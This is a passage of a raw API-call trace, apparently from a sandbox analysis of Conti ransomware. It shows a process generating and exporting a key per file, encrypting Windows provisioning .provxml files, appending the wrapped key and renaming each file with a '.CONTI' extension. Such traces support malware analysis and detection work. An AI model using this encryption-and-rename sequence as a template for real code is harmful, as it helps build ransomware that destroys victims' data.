	[0113.133] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.134] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.134] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.134] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b5bcc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b5bcc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.140] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.140] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.140] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c0, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0113.140] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.140] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.140] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.141] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b5bc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b5bc0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.141] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.141] CloseHandle (hObject=0x3dc) returned 1
	[0113.141] GetProcessHeap () returned 0x1720000
	[0113.141] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.141] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml"
	[0113.141] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.141] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.142] GetProcessHeap () returned 0x1720000
	[0113.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.142] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.142] GetProcessHeap () returned 0x1720000
	[0113.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1948 | out: hHeap=0x1720000) returned 1
	[0113.142] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.142] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b3bd8 | out: phKey=0x65b3bd8*=0x17c7bf0) returned 1
	[0113.142] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b3bdc, pdwDataLen=0x4d3fec4 | out: pbData=0x65b3bdc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.143] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0113.143] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.143] GetLastError () returned 0x0
	[0113.143] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=722) returned 1
	[0113.143] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0113.143] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.143] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.143] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.143] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.143] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b3bdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b3bdc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.150] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.150] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2d2, lpOverlapped=0x0) returned 1
	[0113.150] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d2, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2e0) returned 1
	[0113.150] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.150] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.150] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.150] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b3bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b3bd0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.150] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.150] CloseHandle (hObject=0x3dc) returned 1
	[0113.150] GetProcessHeap () returned 0x1720000
	[0113.150] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.150] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml"
	[0113.151] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml.CONTI"
	[0113.151] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0113.151] GetProcessHeap () returned 0x1720000
	[0113.151] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.152] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.152] GetProcessHeap () returned 0x1720000
	[0113.152] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7048 | out: hHeap=0x1720000) returned 1
	[0113.152] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.152] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b4740 | out: phKey=0x65b4740*=0x17c7c70) returned 1
	[0113.152] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b4744, pdwDataLen=0x4d3fec4 | out: pbData=0x65b4744*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.153] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0113.153] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.153] GetLastError () returned 0x0
	[0113.153] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=723) returned 1
	[0113.153] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0113.153] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.153] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.153] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.154] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.154] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b4744*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b4744*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.160] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.160] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2d3, lpOverlapped=0x0) returned 1
	[0113.160] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d3, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2e0) returned 1
	[0113.160] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.160] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.160] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.160] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b4738*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b4738*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.160] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.160] CloseHandle (hObject=0x3dc) returned 1
	[0113.161] GetProcessHeap () returned 0x1720000
	[0113.161] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.161] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml"
	[0113.161] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml.CONTI"
	[0113.161] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\563__Connections_Cellular_Orange (Tunisia)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\563__connections_cellular_orange (tunisia)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0113.202] GetProcessHeap () returned 0x1720000
	[0113.202] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.202] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0113.202] GetProcessHeap () returned 0x1720000
	[0113.202] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b76b0 | out: hHeap=0x1720000) returned 1
	[0113.202] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0113.202] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b4e18 | out: phKey=0x65b4e18*=0x17c7d30) returned 1
	[0113.202] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b4e1c, pdwDataLen=0x4d3fec4 | out: pbData=0x65b4e1c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0113.203] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.203] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\568__connections_cellular_digi.mobil (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.203] GetLastError () returned 0x0
	[0113.203] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=783) returned 1
	[0113.203] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x30f
	[0113.203] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.203] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.203] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.203] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.203] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b4e1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b4e1c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.209] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.209] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x30f, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x30f, lpOverlapped=0x0) returned 1
	[0113.209] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x30f, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x310) returned 1
	[0113.209] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.209] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x310, lpOverlapped=0x0) returned 1
	[0113.209] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.209] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b4e10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b4e10*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0113.209] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.209] CloseHandle (hObject=0x3dc) returned 1
	[0113.209] GetProcessHeap () returned 0x1720000
	[0113.209] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.209] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml"
	[0113.209] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\568__Connections_Cellular_Digi.Mobil (Romania)_i0$(__MVID)@WAP.provxml.CONTI"
